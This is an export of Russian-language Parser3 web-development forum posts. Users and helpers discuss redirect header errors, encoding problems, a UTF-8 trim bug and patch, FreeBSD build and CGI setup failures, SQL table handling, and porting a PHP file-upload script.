в нем есть метод\
\
[code]\
@redir[server_name]\
^if(def $form:redirect){\
	$response:location[http://${server_name}${form:redirect}^if(def $form:qtail){^taint[as-is][?$form:qtail]}]\
}\
[/code]\
\
При попытке вызвать его из другого класса падает апач:\
\
$response:location[^MAIN_LIB:redir[prj.web]]\
\
[quot]\
malformed header from script. Bad header=\\t: parser3.exe, referer: http://prj.web/cp/action.html?action=news_edit&id=10883&redirect=/cp/action.html?action=news_list\
[/quot]\
\
Но если редирект не вызываю из другого класса, а делаю непосредственно внутри метода - то работает.\
\
в чем может быть проблема?"
"69084","Спасибо за ссылку"
"69085","G_Z, это не вам адресовано, уверен вы и так об этом знаете :)\
\
1. Избавляет от таких вот недоразумений (конечно же не забываем про unhandled exception release в /cgi-bin/../auto.p)\
\
2. human-friendly urls : /cat/cucumbers/133/"
"69088","допустим есть сайт А и есть другой сайт В, нужно сделать так чтобы...\
С сайта А при нажатии на кнопку, выполнялось следующее дейстивие: сайт А идет по некой ссылке на страницу на сайт В, кидает в хэш или сохраняет временно на винте пользвателя эту страницу в хтмл формате и оттуда выдерает(из сохраненной страницы) необходимые данные. например текст в заданном месте или заданную таблицу"
"69090","Порадуйте исходником или направте на путь истенный))) Честно уже долго над этимбьюсь"
"69091","http://www.parser.ru/docs/lang/fileload.htm"
"69092","Прощаем =)"
"69094","Проблема - В htaccess прописана UTF8 Страницы тоже. В одну страницу инклудится файл \"P\" с кодировкой почему-то windows- 1251\
Естественно на выходе или сайт нормальный а встроенная инфа в крякозябрах или наоборот.\
\
Плиз, намекните как исправить.\
В файл \"P\" кодировку вписать? Больше вариантов не вижу, Самое главное что не знаю можно ли?"
"69095","просто у парсера нет такого метода/оператора.\
\
если вы написали и используете свой оператор для этих целей (с помощью file::load), то вы можете указать опцией, в какой именно кодировке данный файл и парсер перекодирует его.\
\
P.S. но лучший вариант -- перекодировать этот файл. чем меньше разных кодировок используется у вас в ваших исходниках -- тем проще за всем этим добром следить."
"69096","Есть раздел на сайте, который постоянно пополняется.\
Как разбить его культурно на страниЦы?"
"69097","Имеется ввиду в автоматическом режиме\
Т.е по 40 кб, например или еще как..\
вот адрес [url=\"http://vincera.ru/consultation\"]Webpage[/url]"
"69099","Наверное, совсем тупой вопрос, но я пытаюсь понять для чего именно нужен parser. Написано, что все сайты студии Артемия Лебедева написаны на parserе, но тогда какой системой управления они обладают? Помогите разобраться, пожалуйста.\
\
Заранее спасибо."
"69100","...[i]Parser 3 — простой и удобный объектно-ориентированный язык, позволяющий быстро создавать хорошие сайты.[/i]\
\
Система управления != язык программирования =)\
\
[quote]Написано, что все сайты студии Артемия Лебедева написаны на parserе.[/quote]\
\
Правильнее сказать, с использованием парсера. Кстати, далеко не все насколько известно мне.\
\
[quote]тогда какой системой управления они обладают? [/quote]\
\
Разумеется той, которую студия использует (+для себя написала)."
"69101","Глянь тут: http://www.spearance.ru/parser3/scroller/text/"
"69103","Может готовые решения есть?"
"69104","Экспортирую табличные данные в эксель (пробовал двумя способами - в cvs и в виде response:body и заголовка с mime-type, на форуме есть про это) и всё время возникает проблема с дробными числами.\
\
Эксель их упорно превращает в дату - например 02.10 в 2 ноября и т.д. Можно ли как-то с этим бороться? \
Пробовал запирать всё в кавычки - кавычки остаются и данные становится невозможно складывать."
"69106","А если заменить точки в числах на запятые перед выдачей? или нужно считать?\
\
P.S.\
Тред по вашей проблеме - нашлось за минуту, попробуйте:\
http://xpoint.ru/forums/computers/software/misc/thread/33968.xhtml"
"69108","Debian Lenny (i386)\
\
Парсер (3.3.0) собран с системной pcre:\
ii  libpcre3                          7.6-2.1               Perl 5 Compatible Regular Expression Library - runtime files\
\
С опциями:\
./configure \\\
--disable-safe-mode \\\
--with-shared-xml=/usr/ \\\
--with-shared-gc=/usr/ \\\
--with-mysql-client=/usr \\\
LDFLAGS=\"-Wl,-z,defs\" LIBS=\"-lpcre\"\
\
Конвертирую _test.html из parser3test_russian.zip в utf8 и получаю (закомментировав $request:charset[windows-1251] и $response:charset[windows-1251]):\
\
===\
Unhandled Exception\
\
validation of UTF-8 string failed while pcre_exec (-10).\
\
/usr/lib/parser3\
\
/var/www/test.utf/_test.html(846)\
\
exception.type=pcre.execute \
========="
"69110","Так  а мне через этот фаил лоад грудить страницу, типа ^file::load[] с указанием пути к странице чтоли?"
"69111","А потом доступно поле text c кодом страницы"
"69112","Здравствуйте.\
\
Можно ли заставить страницу 404 выполнить редирект?\
Т.е. примерно так:\
\
если запрошен url PageOld1 перенаправить на PageNew1\
если запрошен url PageOld2 перенаправить на PageNew2\
в других случаях показать страницу 404"
"69114","однако похоже вы обнаружили баг в trim, который некорректно работает со строкой в UTF8, в результате чего получается строка, содержащая не валидный utf8-char, и последующая попытка применить к подобной строке match приводит к упомянутой вами выше ошибке.\
\
закомментируйте строки 151-155 в тестовом файле и вы увидете результат его выполнения, но без проверки trim."
"69115","Это только частично \"вылечилось\", если закомментировать\
^^str.trim[both;е]: ^try_exec{^str.trim[both;е]}<br />\
^^str.trim[start;е]: ^try_exec{^str.trim[start;е]}<br />\
^^str.trim[left;е]: ^try_exec{^str.trim[left;е]}<br />\
а _также_ $SQL.connect-string в auto.p (именно на строку с\
$sqldriversdir в _test.html ругался парсер в изначальном багрепорте).\
\
Вот строки, которые отличаются от auto.p.dist:\
$charsetsdir[/usr/share/parser3/charsets/]\
$sqldriversdir[/usr/lib/parser3/]\
$SQL.connect-string[mysql://test:pass@localhost/test?charset=cp1251]\
\
PS:\
С учетом этого, кстати, в utf8 заработал _test.html на amd64.\
Единственный \"патч\", который я наложил (иначе ругался на\
unknown untaint language):\
--- parser.orig/src/include/pa_string.h	2009-03-06 00:02:40.000000000 +0300\
+++ parser/src/include/pa_string.h	2009-03-06 00:03:13.000000000 +0300\
@@ -112,9 +112,9 @@\
 		struct {\
 #ifdef PA_LITTLE_ENDIAN\
 			Language lang:8;\
-			int is_not_just_lang:sizeof(CORD)*8-8;\
+			long is_not_just_lang:sizeof(CORD)*8-8;\
 #elif defined(PA_BIG_ENDIAN)\
-			int is_not_just_lang:sizeof(CORD)*8-8;\
+			long is_not_just_lang:sizeof(CORD)*8-8;\
 			Language lang:8;\
 #else\
 #	error word endianness not determined for some obscure reason"
"69116","я не очень понял, почему это \"немного не то\".\
да, парсер ругался на строку с match, где производилась замена строки соединения с sql. но я же объяснил, что к этому моменту весь output, в котором и производилась замена с помощью match, уже содержал некоректные символы (из-за бага в trim)."
"69117","Хмм.  У меня вот это:\
[quote]\
закомментируйте строки 151-155 в тестовом файле и вы увидете результат его выполнения, но без проверки trim.\
[/quote]\
не работает.  Вообще, буквально - это фрагмент:\
[code]\
^^str.trim[end;е]: ^try_exec{^str.trim[end;е]}<br />\
^^str.trim[left;е]: ^try_exec{^str.trim[left;е]}<br />\
^^str.trim[right;е]: ^try_exec{^str.trim[right;е]}<br />\
^^str.base64[]: ^try_exec{$sBase64[^str.base64[]]$sBase64}<br />\
^if(def $sBase64){\
[/code]\
\
Я так понял - вы имели в виду текст с trim вблизи этой области.  Отключение этих тестов тоже не помогает.  Вероятно, дело где-то в тесте SQL (используется русская, т.е. есть преобразования строк в тесте mysql, версия _test.html).\
\
Сожалею, что забыл упомянуть о connect-string в первоначальном багрепорте."
"69118","Занимаюсь переводом кода с PHP на парсер. Столкнулся такой ситуацией. По форуму искал.\
\
Привыполнении строки:\
\
[code]^if(def $form:i_sort){$form:i_sort}{$print.sort}[/code]\
\
Текст ошибки:\
\
'MAIN' method_frame may not be overwritten with junction, store it to variable instead [parser.runtime]\
\
$print -- это не пустая таблица.\
\
Нужны свежие идеи. Спасибо."
"69119","Решение тривиально. В запросе переназначить название поля. \
\
select sort as is_sorted.\
\
Любителям PHP привет."
"69120","[code]$printrow[$print.fields]\
$printrow.sort[/code]\
\
http://www.parser.ru/docs/lang/tablehash.htm\
\
[quote]Использовать этот метод необходимо, если имена столбцов совпадают с именами методов или конструкторов класса table. В таком случае получить их значения напрямую нельзя - Parser будет выдавать сообщение об ошибке. Если необходимо работать с полями, называющимися именно так, можно воспользоваться полем fields, и далее работать уже не с таблицей, а с хешем.[/quote]"
"69121","э-э-э, в моём test.html, только что скачанном с этого сайта, это немного другие строки, а именно:\
\
[code]\
#^^str.trim[both;е]: ^try_exec{^str.trim[both;е]}<br />\
#^^str.trim[start;е]: ^try_exec{^str.trim[start;е]}<br />\
#^^str.trim[end;е]: ^try_exec{^str.trim[end;е]}<br />\
#^^str.trim[left;е]: ^try_exec{^str.trim[left;е]}<br />\
#^^str.trim[right;е]: ^try_exec{^str.trim[right;е]}<br />\
[/code]"
"69123","если есть connect-string - это не работает\
\
PS: и в любом доступном мне unix-редакторе - это строки 149-153"
"69124","у меня даже в заданной $SQL.connect-string и закомментированными .trim всё работает.\
\
хотя в случае, если определена строка соединения с MySQL там работает некоторый дополнительный код, и возможно в вашем случае внутри проходит обработка по другому условию.\
\
пожалуйста, попробуйте установить место возникновения проблемы, для чего:\
1. попробуйте комментировать куски кода в проверке SQL\
2. закомментируйте @postprocess и посмотрите на результат, возможно вы увидите, где именно выводятся \"кривые\" utf8 символы. если не сможете понять сами -- отправьте мне результат на email (misha@...)"
"69125","... дело было в указании charset=cp1251 в connect-string :-)\
\
с charset=utf8, действительно, все остальное в русском _test.html (utf8) работает после комментирования\
^^str.trim[both;е]: ^try_exec{^str.trim[both;е]}<br />\
^^str.trim[start;е]: ^try_exec{^str.trim[start;е]}<br />\
^^str.trim[left;е]: ^try_exec{^str.trim[left;е]}<br />\
\
на amd64 - тоже.  Патч (см выше) приемлем?"
"69126","а, точно.\
там делается попытка привести к верхнему регистру русские буквы.\
в вашем случае от сервера приходила строка в 1251, которая выдавалась в output и последующий match ругался.\
\
мне нужно будет поправить тестовый файл, чтобы подобное его не разваливало.\
\
патч видел, ссылку запомнил, буду смотреть (если точнее, надо тестировать на используемых нами системах, чтобы продолжало работать).\
\
но это не всё, у вас (x64) ещё не будет работать разбор exif..."
"69128","Building parser3...\
Making install in src\
Making install in include\
cd ../.. && make  am--refresh\
cd ../.. && /bin/sh /home/parser3project/parser3/missing --run autoheader\
configure.in:562: warning: AC_DEFINE: not an identifier: AS_TR_CPP\
../../lib/m4sugar/m4sh.m4:508: AS_IF is expanded from...\
../../lib/autoconf/general.m4:2461: AC_COMPILE_IFELSE is expanded from...\
../../lib/autoconf/general.m4:2469: AC_TRY_COMPILE is expanded from...\
acsite.m4:4: PA_CHECK_MATH_FUNC_ONE_ARG is expanded from...\
acsite.m4:21: PA_CHECK_MATH_FUNCS_ONE_ARG is expanded from...\
configure.in:562: the top level\
autoheader-2.62: warning: missing template: AS_TR_CPP\
autoheader-2.62: Use AC_DEFINE([AS_TR_CPP], [], [Description])\
autoheader-2.62: warning: missing template: AS_TR_CPP\
*** Error code 1\
\
Stop in /home/parser3project/parser3/src/include.\
*** Error code 1\
\
Stop in /home/parser3project/parser3/src.\
*** Error code 1\
\
Stop in /home/parser3project/parser3.\
DONE"
"69129","А лучше на все файлы:\
find ./ -exec touch {} \\;"
"69130","Спасибо! Помогло"
"69131","Спасибо за интересный материал..\
\
Хотел посоветоваться по двум вопросам:\
\
Отделяю код от дизайна таким способом (приведу абстрактный пример):\
\
[code]\
@CLASS\
user\
\
@USE\
tempalte.p\
\
@BASE\
user_design\
@users[]\
\
$out[^table::sql{SELECT name, email, date}]\
\
$BASE:out[$out]\
\
^BASE:users[]\
\
@CLASS\
user_design\
\
@users[]\
\
^out.menu{\
	$out.name\
}\
[/code]\
\
Предположим, нужно произвести какие-то манипуляции с датой для каждой записи.. К сожалению в парсере нельзя \"править\" таблицу. Т.е. либо извращаться с пересозданием таблицы, либо писать преобразование уже при выводе в шаблоне.\
\
Не давно посмотрел методы @GET_\
\
Попробовал сделать так:\
\
[code]\
@CLASS\
user\
\
@USE\
tempalte.p\
\
@BASE\
user_design\
\
@create[]\
\
$out[^table::sql{SELECT name, email, date}]\
\
@GET_date[]\
\
_$date[какое-то преобразование с $out.date]\
$result[$_date]\
\
@users[]\
$user[^user::create[]]\
\
$BASE:user[$user]\
\
^BASE:users[]\
\
@CLASS\
user_design\
\
@users[]\
\
^user.out.menu{\
	$user.out.name, $user.date\
}\
[/code]\
\
Т.е. таким образом мы уходим от преобразований в шаблоне. Два вопроса:\
1) Почему в @GET_date видно переменную $out?\
2) Насколько оправдан такой способ?"
"69132","1. Переменная $out является полем класса, поэтому она видна в любых методах класса [свойство тоже метод].\
\
2. Подход плохой. Дело в том, что ваше свойство date неявно ссылается на _текущий столбец_ date в таблице out. Фактически он является не свойстовм объекта user, а свойством таблицы, что противоречит самому смыслу свойств. В данном случае достаточно просто сделать в классе user метод format_date и звать его из итератора menu.\
\
-------------------\
\
На самом деле вы не отделили логику от дизайна, а лишь усложнили себе жизнь дополнительными классами. Возможно Вам стоит взглянуть на шаблоный движок Templet, входящий в сосстав библиотеки PF? Он уже умеет инкапсулировать данные и позволяет в шаблонах делать необходимые действия по форматированию данных.\
\
http://www.parser.ru/forum/?id=62242\
http://oleg.volchkov.net/pf"
"69133","Где может быть проблема? Парсер не  пашет. В логах  вот  это....\
 Parser/3.3.0 (compiled on i386-unknown-freebsd7.1)"
"69134","1. Из браузера запускается? /cgi-bin/parser3.cgi\
2. Обработчик поставлен?\
3. _test.html прогоняли?\
\
p.s. FAQ читали?"
"69135","Для вывода FAQ использую сохранённые в таблице вопросы и ответы:\
\
[code]^items.menu{\
			<a name=\"$items.name\"></a>\
			<p class=\"question\">$items.question</p>\
			<p class=\"answer\">$items.answer</p>\
}[/code]\
\
В результате теги HTML (ссылки, <br />) и спецсимволы (&nbsp;) выводятся как простой текст.\
\
Можно ли это побороть?"
"69137","Много времени прошло с момента последнего глобального обновления, и всёже это произошло.\
\
Сделал более 30 крупных [url=\"http://typograf.ru/log/\"]изменений[/url], полностью переписал класс. Сделал последние приготовления к выпуску английской и немецкой версии."
"69138","теперь при использовании веб-сервиса возвращается ошибка:\
\"Ошибка: текст больше 30 килобайт\""
"69139","[code]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
  <companylist>\
   <branch>$comn.branch</branch>\
   <comn>$comn.comn</comn>\
   <cid>$cid</cid>\
^complist.menu{\
   <fil>\
     <dest>$complist.dest</dest>\
^dislist.menu{^if($dislist.cid eq $complist.cid){\
	<di>\
	  <disn>$dislist.disn</disn>\
	  <did>$dislist.did</did>\
	</di>}}\
^ms.menu{^if($ms.cid eq $complist.cid){\
	<mi>\
	  <name>$ms.name</name>\
	  <linen>$ms.linen</linen>\
	  <line>$ms.line</line>\
	  <msid>$ms.msid</msid>\
	</mi>}}\
</fil>\
}\
</companylist>\
}]\
[/code]\
\
выдает ошибку у ^ms.menu:\
\
'menu' junction may not be overwritten with junction, store it to variable instead.\
\
Если убрать <line>$ms.line</line> - то все работает. Где грабли?\
\
вот собственно таблицы:\
[code]\
$comn[^MAIN:oSql.table{SELECT comn, branch, city FROM com WHERE cid=$cid}]\
$complist[^MAIN:oSql.table{SELECT cid, dest FROM com WHERE comn='$comn.comn'}]\
$ms[^MAIN:oSql.table{SELECT  a2.cid, a1.msid, a3.line, a4.name, a3.linen FROM cms AS a1, line as a3, com as a2, ms as a4 WHERE a1.msid=a4.msid and a4.line=a3.line and a1.cid=a2.cid and a2.comn='$comn.comn'}]\
$dislist[^MAIN:oSql.table{SELECT a2.cid, a1.did, a4.disn FROM cdis AS a1, com as a2, dis as a4 WHERE a1.did=a4.did and a1.cid=a2.cid and a2.comn='$comn.comn'}]\
[/code]"
"69141","1. Из браузера запускается? /cgi-bin/parser3.cgi\
Получаю  ошибку Internal Server Error\
2. Обработчик поставлен?\
Поставлен .htaccess\
AddType application/x-httpd-php .phtml .php\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
#<Files ~ \"\\.p$\">\
#  Order allow,\
#  Deny from all\
#</Files>\
3. _test.html прогоняли?\
Получаю  ошибку Internal Server Error\
В  логе httpd пишет вот это\
[Tue Mar 10 13:51:00 2009] [57495] Parser/3.3.0 (compiled on i386-unknown-freebsd7.1) [no request info\
(8)Exec format error: exec of '/usr/local/www/apache22/cgi-bin/test.html' failed\
Premature end of script headers: test.html"
"69144","(«Premature end of script headers», означает, что вы забыли поставить бит «executable» )\
Вроде стоит...\
-rwxr-xr-x  1 root   wheel     3865 Mar  9 17:04 auto.p\
drwxr-xr-x  2 root   bin        512 Jul 24  2003 charsets\
drwxr-xr-x  2 root   bin        512 Mar 10 13:48 lib\
-rwxr-xr-x  1 root   bin      95576 Aug 19  2008 libparser3mysql.so\
-rwxr-xr-x  1 root   wheel  8532445 Mar 10 12:55 parser3.cgi\
-rwxr-xr-x  1 admin  1001     30868 Mar  9 23:12 test.html\
(или выбрали версию Parser, не соответствующую операционной системе вашего сервера )\
у меня freebsd 7.1\
устанавливал с  иходников  cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_3_0 parser3\
(Другой причиной может являться опечатка в .htaccess файле)\
вот  мой htaccess\
AddType application/x-httpd-php .phtml .php\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
Больше ума  не  приложу , где копать?"
"69145","После этого разбирайтесь почему Апач не может запустить ваш бинарник."
"69147","Код написан для примера. Вопрос в том, почему выполняеться именно последний указаный $response:location а не первый? возможно я чтото не так понял... Пожалуйста, обьясните если не прав в чемто.\
\
^if(def $form:do){\
^if(def $form:title_$currentLangFront && def $form:lead_$currentLangFront){ \
			  $response:location[http://$env:SERVER_NAME/admin/catalog_admin.html?messageOk=ok]							  $response:location[http://$env:SERVER_NAME/]			  $response:location[http://$env:SERVER_NAME/admin/]\
\
}{ \
<div class=\"edit-page-error\">\
<table width=\"100%\">\
<tr>\
<td width=\"20\"><img src=\"/img/servises/ico-error.gif\"></td>\
<td>$lang.form-error_filling</td>\
</tr>\
</table>\
</div>\
} \
}"
"69148","... а сам заголовок выдается Парсером только после полной обработки запроса, т.е. выполнения всего кода."
"69149","теперь понятно\
спасибо за подсказку\
;)"
"69151","Кто нибудь может сказать почему не работает ?\
в переменные  \
\
загружаються данные из таблицы значение которых равно\
примерно так\
например если просто вывожу эти переменные то все данные соответствуют действительности \
[code]$films_year[^table::sql{select Id, god, title_r, title_e, zhanr, produs, rezhiser, strana from films where god = '2006'}][/code]\
в этой переменной [code]$films_year.produs[/code] находится 1,3,5,7\
в этой переменной [code]$films_year.rezhiser[/code] находится 8,10,20\
в этой переменной [code]$films_year.strana[/code] находится 25,27,99\
\
а в эти переменные не грузяться те значения что были \
[code]$produser \
$rezhiser \
$countri[/code]\
\
\
[code]############# вот код ##############\
# в переменную загружаем список значений когда год выпуска равен 2006\
\
$films_year[^table::sql{select Id, god, title_r, title_e, zhanr, produs, rezhiser, strana from films where god = '2006'}]\
\
<table border=0 id=line>\
<tr align=left>\
<th width=auto>Название</th>\
<th width=auto>Год</th>\
<th width=auto>Режисер</th>\
<th width=auto>Продюсер</th>\
<th width=auto>Страна</th>\
</tr>\
\
# строим таблицу\
^films_year.menu{\
# в для каждой строцчки создаем новую переменную и в нее грузим то что нам нужно\
\
$produser[^table::sql{select Id, name from cg_people where Id in ('${films_year.produs}')}]\
$rezhiser[^table::sql{select Id, name from cg_people where Id in ('${films_year.rezhiser}')}]\
$countri[^table::sql{select Id, short_name from cg_country where Id in ('${films_year.strana}')}]\
\
# выводим результат\
<tr id=line>\
<td>$films_year.title_r [$films_year.title_e]</td>\
<td>$films_year.god</td>\
<td>^rezhiser.menu{$rezhiser.name}[, ]</td>\
<td>^produser.menu{$produser.name}[, ]</td>\
<td>^countri.menu{$countri.short_name}[, ]</td>\
</tr>\
}\
</table>\
######################### конец кода #################\
[/code]\
но почему то [code]^rezhiser.menu{$rezhiser.name}[, ][/code] выводит только первую найденную запись переменной [code]$rezhiser[/code]"
"69153","Люди, помогите мне разобрать PHP код и перевести его в парсер, а то я в PHP не шарю ни разу, а доки лопатить времени нет - проект поджимает... хотел интегрировать swfupload - уж больно милая утилитка. особенно вопрос возникает с $_FILES - как в парсере эта переменная выглядит? там суть в том, что swf-movie посылает на сервер n-количество файлов через некую upload.php? в нашем случае upload.html А в каком виде это все происходит я не знаю. Вот вам код PHP:\
[code]<?php\
/*\
This is an upload script for SWFUpload that attempts to properly handle uploaded files\
in a secure way.\
\
Notes:\
	\
	SWFUpload doesn't send a MIME-TYPE. In my opinion this is ok since MIME-TYPE is no better than\
	 file extension and is probably worse because it can vary from OS to OS and browser to browser (for the same file).\
	 The best thing to do is content sniff the file but this can be resource intensive, is difficult, and can still be fooled or inaccurate.\
	 Accepting uploads can never be 100% secure.\
	 \
	You can't guarantee that SWFUpload is really the source of the upload.  A malicious user\
	 will probably be uploading from a tool that sends invalid or false metadata about the file.\
	 The script should properly handle this.\
	 \
	The script should not over-write existing files.\
	\
	The script should strip away invalid characters from the file name or reject the file.\
	\
	The script should not allow files to be saved that could then be executed on the webserver (such as .php files).\
	 To keep things simple we will use an extension whitelist for allowed file extensions.  Which files should be allowed\
	 depends on your server configuration. The extension white-list is _not_ tied your SWFUpload file_types setting\
	\
	For better security uploaded files should be stored outside the webserver's document root.  Downloaded files\
	 should be accessed via a download script that proxies from the file system to the webserver.  This prevents\
	 users from executing malicious uploaded files.  It also gives the developer control over the outgoing mime-type,\
	 access restrictions, etc.  This, however, is outside the scope of this script.\
	\
	SWFUpload sends each file as a separate POST rather than several files in a single post. This is a better\
	 method in my opinions since it better handles file size limits, e.g., if post_max_size is 100 MB and I post two 60 MB files then\
	 the post would fail (2x60MB = 120MB). In SWFupload each 60 MB is posted as separate post and we stay within the limits. This\
	 also simplifies the upload script since we only have to handle a single file.\
	\
	The script should properly handle situations where the post was too large or the posted file is larger than\
	 our defined max.  These values are not tied to your SWFUpload file_size_limit setting.\
	\
*/\
\
// Code for Session Cookie workaround\
	if (isset($_POST[\"PHPSESSID\"])) {\
		session_id($_POST[\"PHPSESSID\"]);\
	} else if (isset($_GET[\"PHPSESSID\"])) {\
		session_id($_GET[\"PHPSESSID\"]);\
	}\
\
	session_start();\
\
// Check post_max_size (http://us3.php.net/manual/en/features.file-upload.php#73762)\
	$POST_MAX_SIZE = ini_get('post_max_size');\
	$unit = strtoupper(substr($POST_MAX_SIZE, -1));\
	$multiplier = ($unit == 'M' ? 1048576 : ($unit == 'K' ? 1024 : ($unit == 'G' ? 1073741824 : 1)));\
\
	if ((int)$_SERVER['CONTENT_LENGTH'] > $multiplier*(int)$POST_MAX_SIZE && $POST_MAX_SIZE) {\
		header(\"HTTP/1.1 500 Internal Server Error\"); // This will trigger an uploadError event in SWFUpload\
		echo \"POST exceeded maximum allowed size.\";\
		exit(0);\
	}\
\
// Settings\
	$save_path = getcwd() . \"/uploads/\";				// The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)\
	$upload_name = \"Filedata\";\
	$max_file_size_in_bytes = 2147483647;				// 2GB in bytes\
	$extension_whitelist = array(\"jpg\", \"gif\", \"png\");	// Allowed file extensions\
	$valid_chars_regex = '.A-Z0-9_ !@#$%^&()+={}\\[\\]\\',~`-';				// Characters allowed in the file name (in a Regular Expression format)\
	\
// Other variables	\
	$MAX_FILENAME_LENGTH = 260;\
	$file_name = \"\";\
	$file_extension = \"\";\
	$uploadErrors = array(\
        0=>\"There is no error, the file uploaded with success\",\
        1=>\"The uploaded file exceeds the upload_max_filesize directive in php.ini\",\
        2=>\"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form\",\
        3=>\"The uploaded file was only partially uploaded\",\
        4=>\"No file was uploaded\",\
        6=>\"Missing a temporary folder\"\
	);\
\
\
// Validate the upload\
	if (!isset($_FILES[$upload_name])) {\
		HandleError(\"No upload found in \\$_FILES for \" . $upload_name);\
		exit(0);\
	} else if (isset($_FILES[$upload_name][\"error\"]) && $_FILES[$upload_name][\"error\"] != 0) {\
		HandleError($uploadErrors[$_FILES[$upload_name][\"error\"]]);\
		exit(0);\
	} else if (!isset($_FILES[$upload_name][\"tmp_name\"]) || !@is_uploaded_file($_FILES[$upload_name][\"tmp_name\"])) {\
		HandleError(\"Upload failed is_uploaded_file test.\");\
		exit(0);\
	} else if (!isset($_FILES[$upload_name]['name'])) {\
		HandleError(\"File has no name.\");\
		exit(0);\
	}\
	\
// Validate the file size (Warning: the largest files supported by this code is 2GB)\
	$file_size = @filesize($_FILES[$upload_name][\"tmp_name\"]);\
	if (!$file_size || $file_size > $max_file_size_in_bytes) {\
		HandleError(\"File exceeds the maximum allowed size\");\
		exit(0);\
	}\
	\
	if ($file_size <= 0) {\
		HandleError(\"File size outside allowed lower bound\");\
		exit(0);\
	}\
\
\
// Validate file name (for our purposes we'll just remove invalid characters)\
	$file_name = preg_replace('/[^'.$valid_chars_regex.']|\\.+$/i', \"\", basename($_FILES[$upload_name]['name']));\
	if (strlen($file_name) == 0 || strlen($file_name) > $MAX_FILENAME_LENGTH) {\
		HandleError(\"Invalid file name\");\
		exit(0);\
	}\
\
\
// Validate that we won't over-write an existing file\
	if (file_exists($save_path . $file_name)) {\
		HandleError(\"File with this name already exists\");\
		exit(0);\
	}\
\
// Validate file extension\
	$path_info = pathinfo($_FILES[$upload_name]['name']);\
	$file_extension = $path_info[\"extension\"];\
	$is_valid_extension = false;\
	foreach ($extension_whitelist as $extension) {\
		if (strcasecmp($file_extension, $extension) == 0) {\
			$is_valid_extension = true;\
			break;\
		}\
	}\
	if (!$is_valid_extension) {\
		HandleError(\"Invalid file extension\");\
		exit(0);\
	}\
\
// Validate file contents (extension and mime-type can't be trusted)\
	/*\
		Validating the file contents is OS and web server configuration dependant.  Also, it may not be reliable.\
		See the comments on this page: http://us2.php.net/fileinfo\
		\
		Also see http://72.14.253.104/search?q=cache:3YGZfcnKDrYJ:www.scanit.be/uploads/php-file-upload.pdf+php+file+command&hl=en&ct=clnk&cd=8&gl=us&client=firefox-a\
		 which describes how a PHP script can be embedded within a GIF image file.\
		\
		Therefore, no sample code will be provided here.  Research the issue, decide how much security is\
		 needed, and implement a solution that meets the needs.\
	*/\
\
\
// Process the file\
	/*\
		At this point we are ready to process the valid file. This sample code shows how to save the file. Other tasks\
		 could be done such as creating an entry in a database or generating a thumbnail.\
		 \
		Depending on your server OS and needs you may need to set the Security Permissions on the file after it has\
		been saved.\
	*/\
	if (!@move_uploaded_file($_FILES[$upload_name][\"tmp_name\"], $save_path.$file_name)) {\
		HandleError(\"File could not be saved.\");\
		exit(0);\
	}\
\
	exit(0);\
\
\
/* Handles the error output. This error message will be sent to the uploadSuccess event handler.  The event handler\
will have to check for any error messages and react as needed. */\
function HandleError($message) {\
	echo $message;\
}\
?>[/code]"
"69155","вот  что  в  консоле показывает\
lisvita# /usr/local/www/apache22/cgi-bin/parser3.cgi -h\
Parser/3.3.0 (compiled on i386-unknown-freebsd6.3)\
Copyright(c) 2001-2008 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: /usr/local/www/apache22/cgi-bin/parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
\
Посмотрел  к каким  группам  пренадлжит  парсер и  исполняемые  файлы\
lisvita# cd /usr/local/www/apache22/cgi-bin/\
lisvita# ls -l\
total 1950\
-rw-r--r--  1 root  wheel     3228 Jun 28  2007 auto.p\
drwxr-xr-x  2 root  wheel      512 Jul 24  2003 charsets\
drwxr-xr-x  2 root  wheel      512 Aug  2  2002 lib\
-rwxr-xr-x  1 root  wheel    95576 Aug 19  2008 libparser3mysql.so\
-rwxr-xr-x  1 root  wheel  1854672 Sep  4  2008 parser3.cgi\
-rwxr-xr-x  1 root  wheel      874 Mar 10 18:32 parser3.log\
-rwxr-xr-x  1 root  wheel      294 Dec 11  2004 printenv\
-rwxr-xr-x  1 root  wheel      779 Dec 11  2004 test-cgi\
-rwxr-xr-x  1 root  wheel       17 Mar 10 18:44 test.html\
\
При  обращении  из  браузера к  cgi-bin/test.html  получаю  ошибку  Internal Server error\
в  лога  httpd-error.log вот  это\
 (8)Exec format error: exec of '/usr/local/www/apache22/cgi-bin/test.html' failed\
Premature end of script headers: test.html\
\
Ну кто  подскажет   где я  туплю?"
"69156","Самосборную или все-таки скачяанную с этого сайта?\
\
Вызывает подозрение строка \"compiled on i386-unknown-freebsd6.3\" - Вы писали6 что собирали на 7.1."
"69157","да я  плюнул  на сборку  из  исходников  и  закачал ( бинарно!!!)  с сайта.  Хотябы понять в каком направлении  копать? Неужто  на  6 версию  фрихи  уходить."
"69158","... а копать надо в сторону настроек Апача (всякие suexec'и и пр.). Возможно сотит раскоментировать одну строчку в скрипте сборки и пересобрать:\
options=\"$options --with-dynamic-stdcpp\""
"69159","[quot]\
При обращении из браузера к cgi-bin/test.html \
[/quot]\
\
нечего так даже пытаться обращаться.\
для начала:\
При обращении из браузера к http://ваш-сервер/cgi-bin/parser3.cgi\
должно показать версию парсера (если обращаетесь из IE, не забываете прочитать про его \"Firendly Messages\")\
\
если не показало, то копайте в сторону ScriptAlias вашего сервера и добиваетесь чтобы заработало (не забываете проверить ограничения на память, а то вдруг оно просто слишком маленькое?)\
\
если показало версию парсера, то:\
http://ваш-сервер/_test.html\
(_test.html должен быть распокован в ваш document root, соотв. обработчик должен быть назначен в .htaccess)"
"69160","[code]\
$films[^table::sql{\
SELECT\
 pep.Id producer_id, pep.name producer_name, rezh.id rezhiser_Id, rezh.name rezhiser_name, cn.Id country_id, cn.short_name country_name, f.id film_id, f.god year, f.title_r, f.title_e, f.zhanr\
 FROM cg_people pep, cg_country cn, cg_people rezh, films f\
 WHERE f.god='2006' and producer_id in f.produs and rezhiser_id in f.rezhiser and country_id in f.strana\
}]\
[/code]\
